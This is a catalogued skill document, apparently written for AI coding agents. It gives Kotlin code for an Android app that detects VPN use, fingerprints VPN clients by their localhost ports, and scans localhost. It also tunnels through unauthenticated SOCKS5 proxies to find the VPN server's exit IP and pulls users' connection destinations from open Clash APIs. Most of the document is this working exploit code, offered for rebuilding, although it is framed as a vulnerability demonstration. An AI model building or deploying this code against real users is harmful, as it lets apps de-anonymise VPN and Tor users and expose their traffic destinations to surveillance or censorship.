Yourvpndead Vpn Detection

作者 reason-machines2384a003145a無授權條款83 個星標收錄於 2026年10月8日更新於 2026年10月8日儲存庫3 個月前更新

Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root

僅含說明Security
AI 產生的概覽

介紹一款 Android 應用程式,用來偵測 VPN 用戶端並探測本機 SOCKS5 與 Clash API 連接埠是否外洩。

功能
此技能描述 YourVPNDead Android 應用程式,它會掃描裝置上的 VPN 使用跡象並辨識正在執行的 VPN 用戶端。內容涵蓋透過 Android 網路能力、VPN 介面、路由表、/proc/net/tcp 以及對本機 TCP 連接埠掃描進行偵測。它也會探測本機 SOCKS5 代理與 Clash REST API,以解析 VPN 伺服器的出口 IP 並列舉連線目的地。交付項目是附有 Kotlin 程式碼範例的參考文件,用於建置這類應用程式。
適用情境
當你需要了解或重現 Android 端的 VPN 偵測技術時使用,例如判斷裝置上執行的是哪一款 VPN 用戶端,或檢查用戶端是否暴露了無需驗證的本機代理。適用於 Android 網路指紋辨識方面的安全研究或應用程式開發工作。
執行需求
需要 Android 開發知識以及 Kotlin/Jetpack Compose 工具鏈(Gradle、Android SDK)來建置所述應用程式。應用程式需要 INTERNET、ACCESS_NETWORK_STATE 和 QUERY_ALL_PACKAGES 權限,並需要網路存取以連線出口 IP 查詢服務。此技能不附帶指令碼,僅為說明文件與程式碼範例。

YourVPNDead — Android VPN Detection & SOCKS5 Vulnerability Scanner

Skill by ara.so — Daily 2026 Skills collection.

Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).

Build & Install

bash
git clone https://github.com/loop-uh/yourvpndead.gitcd yourvpndead./gradlew assembleDebug# Output: app/build/outputs/apk/debug/app-debug.apkadb install app/build/outputs/apk/debug/app-debug.apk

Or download the pre-built APK from Releases.

Required permissions (AndroidManifest.xml):

xml
<uses-permission android:name="android.permission.INTERNET" /><uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /><uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />

Architecture

ScanOrchestrator (14 phases)├── ProfileDetector          — work profile, isolation, VPN status├── ProcNetScanner           — /proc/net/tcp fingerprinting├── DirectSignsChecker       — 6 direct VPN checks├── IndirectSignsChecker     — 5 indirect checks (MTU, DNS, dumpsys)├── DeviceInfoCollector      — device fingerprint├── PortScanner              — TCP scan IPv4 + IPv6 localhost├── Socks5Probe              — proxy type identification├── XrayAPIDetector          — xray gRPC API detection├── ClashAPIProbe            — Clash REST API probe├── AuthProbe                — auth analysis + brute-force demo├── ExitIPResolver           — exit IP via SOCKS5└── GeoLocator               — IP geolocation

Stack: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)

Key Detection Modules

1. Direct VPN Signs — DirectSignsChecker.kt

Detects VPN via standard (and hidden) Android APIs:

kotlin
// Check TRANSPORT_VPN capabilityval connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManagerval network = connectivityManager.activeNetworkval caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// Check hidden IS_VPN flag (not in public API)val capsString = caps?.toString() ?: ""val hasIsVpn = capsString.contains("IS_VPN")val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// Check system proxy propertiesval httpProxyHost = System.getProperty("http.proxyHost")val socksProxyHost = System.getProperty("socksProxyHost")
// Check NOT_VPN capability absence (inverse detection)val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true// If false → network IS a VPN

2. VPN Interface Detection

kotlin
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {    val vpnPatterns = listOf(        Regex("^tun\\d+$"),        Regex("^tap\\d+$"),        Regex("^wg\\d+$"),        Regex("^ppp\\d+$"),        Regex("^ipsec.*$")    )    return NetworkInterface.getNetworkInterfaces()        .toList()        .filter { iface -> vpnPatterns.any { it.matches(iface.name) } }        .map { it.name }}
// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)fun checkMtuAnomaly(): Boolean {    return NetworkInterface.getNetworkInterfaces()        .toList()        .filter { it.isUp && !it.isLoopback }        .any { it.mtu in 1..1499 } // Standard Ethernet = 1500}// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400

3. /proc/net/tcp Scanner — ProcNetScanner.kt

Reads listening ports without root:

kotlin
fun scanProcNetTcp(): List<Int> {    val openPorts = mutableListOf<Int>()    listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->        try {            File(path).forEachLine { line ->                val parts = line.trim().split("\\s+".toRegex())                if (parts.size >= 4) {                    val state = parts[3]                    if (state == "0A") { // 0A = LISTEN                        val localAddress = parts[1]                        val portHex = localAddress.split(":").lastOrNull()                        portHex?.toIntOrNull(16)?.let { openPorts.add(it) }                    }                }            }        } catch (e: Exception) { /* May be restricted on newer Android */ }    }    return openPorts}
// Fingerprint VPN client by port patternfun fingerprintClient(ports: List<Int>): String {    return when {        10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"        2080 in ports -> "NekoBox / sing-box"        7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"        3066 in ports && 3067 in ports -> "Karing"        19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"        else -> "Unknown"    }}

4. Port Scanner — PortScanner.kt

TCP connect scan on 127.0.0.1 and ::1:

kotlin
import kotlinx.coroutines.*import java.net.InetSocketAddressimport java.net.Socket
suspend fun scanKnownPorts(    timeout: Int = 300,    parallelism: Int = 32): List<Int> = coroutineScope {    val knownVpnPorts = listOf(        // xray / v2rayNG        10808, 10809, 10810, 10085, 19085,        // sing-box / NekoBox        2080, 2081, 3066, 3067,        // Clash / mihomo        7890, 7891, 7892, 7893, 9090, 19090,        // Common proxy        1080, 8080, 8118, 9050, 3128,        // Yandex.Metrica tracking        29009, 29010, 30102, 30103,        // Meta Pixel        12387, 12388, 12389    )
    val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)    knownVpnPorts.map { port ->        async(Dispatchers.IO) {            semaphore.withPermit {                try {                    Socket().use { socket ->                        socket.connect(InetSocketAddress("127.0.0.1", port), timeout)                        port // Return port if connected                    }                } catch (e: Exception) { null }            }        }    }.awaitAll().filterNotNull()}
// Full scan 1-65535suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {    val semaphore = kotlinx.coroutines.sync.Semaphore(32)    (1..65535).map { port ->        async(Dispatchers.IO) {            semaphore.withPermit {                try {                    Socket().use { socket ->                        socket.connect(InetSocketAddress("127.0.0.1", port), timeout)                        port                    }                } catch (e: Exception) { null }            }        }    }.awaitAll().filterNotNull()}

5. SOCKS5 Probe — Socks5Probe.kt

Identify proxy type and check for authentication:

kotlin
import java.io.InputStreamimport java.io.OutputStreamimport java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {    return try {        Socket().use { socket ->            socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)            socket.soTimeout = timeoutMs            val out: OutputStream = socket.getOutputStream()            val inp: InputStream = socket.getInputStream()
            // SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)            out.write(byteArrayOf(0x05, 0x01, 0x00))            out.flush()
            val response = ByteArray(2)            inp.read(response)
            when {                response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->                    ProxyType.SOCKS5_NO_AUTH         // Vulnerable!                response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->                    ProxyType.SOCKS5_AUTH_REQUIRED   // Protected                else -> ProxyType.UNKNOWN            }        }    } catch (e: Exception) { ProxyType.UNKNOWN }}
// HTTP CONNECT probefun probeHttpConnect(port: Int): Boolean {    return try {        Socket().use { socket ->            socket.connect(InetSocketAddress("127.0.0.1", port), 2000)            val out = socket.getOutputStream()            out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())            out.flush()            val response = socket.getInputStream().bufferedReader().readLine() ?: ""            response.contains("200") || response.contains("407") || response.startsWith("HTTP")        }    } catch (e: Exception) { false }}

6. Exit IP Resolution via SOCKS5 — ExitIPResolver.kt

Get VPN server's real IP through unauthenticated SOCKS5:

kotlin
import java.net.InetAddressimport java.net.Socket
fun resolveExitIpViaSocks5(    socksPort: Int,    targetHost: String = "api.ipify.org",    targetPort: Int = 80): String? {    return try {        Socket().use { socket ->            socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)            socket.soTimeout = 5000            val out = socket.getOutputStream()            val inp = socket.getInputStream()
            // SOCKS5 handshake            out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()            val auth = ByteArray(2); inp.read(auth)            if (auth[1] != 0x00.toByte()) return null // Auth required
            // CONNECT request (ATYP=0x03 domain name)            val hostBytes = targetHost.toByteArray()            val request = byteArrayOf(                0x05,                    // VER                0x01,                    // CMD = CONNECT                0x00,                    // RSV                0x03,                    // ATYP = domain                hostBytes.size.toByte()  // domain length            ) + hostBytes + byteArrayOf(                (targetPort shr 8).toByte(),                (targetPort and 0xFF).toByte()            )            out.write(request); out.flush()
            // Read response (10 bytes for IPv4)            val resp = ByteArray(10); inp.read(resp)            if (resp[1] != 0x00.toByte()) return null // Connection failed
            // HTTP GET to ipify            out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())            out.flush()
            val response = inp.bufferedReader().readText()            // Response body is the exit IP            response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }        }    } catch (e: Exception) { null }}

7. Clash REST API Probe — ClashAPIProbe.kt

sing-box/mihomo expose Clash API on localhost without auth by default:

kotlin
import java.net.HttpURLConnectionimport java.net.URLimport org.json.JSONObject
data class ClashApiResult(    val isOpen: Boolean,    val connections: List<String> = emptyList(), // Contains destination IPs!    val proxies: List<String> = emptyList(),    val externalController: String? = null)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {    val baseUrl = "http://127.0.0.1:$port"    return try {        // Check /configs for external-controller info        val configUrl = URL("$baseUrl/configs")        val configConn = configUrl.openConnection() as HttpURLConnection        configConn.connectTimeout = timeoutMs        configConn.readTimeout = timeoutMs
        if (configConn.responseCode != 200) return ClashApiResult(false)
        val config = JSONObject(configConn.inputStream.bufferedReader().readText())
        // GET /connections — reveals ALL active connection destination IPs        val connUrl = URL("$baseUrl/connections")        val connConn = connUrl.openConnection() as HttpURLConnection        connConn.connectTimeout = timeoutMs        val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
        val destinationIps = mutableListOf<String>()        val connections = connData.optJSONArray("connections")        if (connections != null) {            for (i in 0 until connections.length()) {                val conn = connections.getJSONObject(i)                conn.optJSONObject("metadata")?.optString("destinationIP")                    ?.takeIf { it.isNotEmpty() }                    ?.let { destinationIps.add(it) }            }        }
        ClashApiResult(            isOpen = true,            connections = destinationIps,            externalController = config.optString("external-controller")        )    } catch (e: Exception) { ClashApiResult(false) }}
// Ports to check for Clash APIval clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)

8. VPN App Detection — DirectSignsChecker.kt

Enumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):

kotlin
val vpnPackages = mapOf(    "com.v2ray.ang" to "v2rayNG",    "io.nekohasekai.sfa" to "sing-box (SFA)",    "app.hiddify.com" to "Hiddify",    "com.github.shadowsocks" to "Shadowsocks",    "com.matsuridayo.matsuri" to "NekoBox",    "io.nekohasekai.sagernet" to "NekoBox/SagerNet",    "com.clashforwindows.clash" to "ClashMeta",    "com.byedpi" to "ByeDPI",    "org.outline.android.client" to "Outline",    "com.psiphon3" to "Psiphon",    "us.lantern.lantern" to "Lantern",    "com.wireguard.android" to "WireGuard",    "org.torproject.torbrowser" to "Tor Browser",    "org.torproject.android" to "Orbot",    "com.karing.app" to "Karing",    "com.throne.android" to "Throne",    "com.happ.free.vpn.proxy" to "HAPP")
fun detectInstalledVpnApps(context: Context): List<String> {    val pm = context.packageManager    return vpnPackages.entries.mapNotNull { (pkg, name) ->        try {            pm.getPackageInfo(pkg, 0)            name // App is installed        } catch (e: PackageManager.NameNotFoundException) { null }    }}

9. Routing Table Check

kotlin
fun checkDefaultRoute(): String? {    return try {        File("/proc/net/route").readLines()            .drop(1) // Skip header            .firstOrNull { line ->                val parts = line.split("\t")                parts.size >= 2 && parts[1] == "00000000" // Default route (0.0.0.0)            }            ?.split("\t")            ?.firstOrNull() // Interface name (e.g., "tun0" = VPN)    } catch (e: Exception) { null }}

MVVM Pattern — ViewModel + StateFlow

kotlin
// ScanViewModel.ktclass ScanViewModel(application: Application) : AndroidViewModel(application) {    private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)    val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
    fun startScan(fullScan: Boolean = false) {        viewModelScope.launch {            _scanState.value = ScanState.Running(phase = "Initializing...")            val orchestrator = ScanOrchestrator(getApplication())            orchestrator.run(                fullPortScan = fullScan,                onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }            ).collect { result ->                _scanState.value = ScanState.Complete(result)            }        }    }}
// ScanState.ktsealed class ScanState {    object Idle : ScanState()    data class Running(val phase: String) : ScanState()    data class Complete(val result: ScanResult) : ScanState()}

Composable UI Pattern

kotlin
@Composablefun ScanScreen(viewModel: ScanViewModel = viewModel()) {    val state by viewModel.scanState.collectAsState()
    Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {        when (val s = state) {            is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {                Text("Start VPN Scan")            }            is ScanState.Running -> {                CircularProgressIndicator()                Text("Phase: ${s.phase}")            }            is ScanState.Complete -> ScanResultView(result = s.result)        }    }}

Vulnerable Client Reference

ClientCoreDefault SOCKS PortAuthStatus
v2rayNGxray10808NoneVulnerable
NekoBoxsing-box2080NoneVulnerable
Hiddifysing-box/xrayvariesNoneVulnerable
HappxrayvariesNone + open gRPC APICritical
Karingsing-box3067NoneVulnerable
Husising-box—YesProtected

Known Port Constants

kotlin
object VpnPorts {    // xray / v2rayNG    val XRAY_SOCKS = 10808    val XRAY_HTTP = 10809    val XRAY_STATS = 19085    val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
    // sing-box / NekoBox    val SINGBOX_MIXED = 2080    val SINGBOX_HTTP = 2081    val KARING_SOCKS = 3067    val KARING_HTTP = 3066
    // Clash / mihomo    val CLASH_HTTP = 7890    val CLASH_SOCKS = 7891    val CLASH_REDIR = 7892    val CLASH_API = 9090    val SINGBOX_CLASH_API = 19090  // Leaks connection IPs via /connections
    // Common    val TOR_SOCKS = 9050    val PRIVOXY = 8118}

Troubleshooting

/proc/net/tcp returns empty or permission denied

  • Restricted on Android 10+ for non-root apps on some ROMs (Samsung Knox, MIUI)
  • Fallback: use TCP connect scan via PortScanner instead

Port scan misses ports

  • Increase timeout from 300ms to 500ms for slower devices
  • Reduce parallelism to 16 if getting connection reset errors

QUERY_ALL_PACKAGES denied

  • Required for VPN app enumeration on Android 11+
  • Must be declared in manifest; some app stores may restrict it
  • Fallback: check only packages via Intent resolution

SOCKS5 probe connects but returns unexpected bytes

  • Some clients send HTTP 400 response instead of SOCKS5 rejection
  • Add HTTP CONNECT fallback probe after SOCKS5 attempt

Exit IP resolution returns null despite open SOCKS5

  • Target api.ipify.org may be blocked by the VPN itself
  • Try alternative: ifconfig.me, checkip.amazonaws.com
  • Some clients block loopback-originated connections to external hosts

Clash API returns 401

  • Client has set secret in config — not the default behavior but possible
  • Check port 19090 (sing-box uses different default than mihomo's 9090)

來源與署名

來源:reason-machines/trending-skills位於skills/yourvpndead-vpn-detection提交2384a00

授權條款: 無授權條款

內容歸原作者所有。SourceWeft 從公開儲存庫中收錄這些內容。

檢舉或申請下架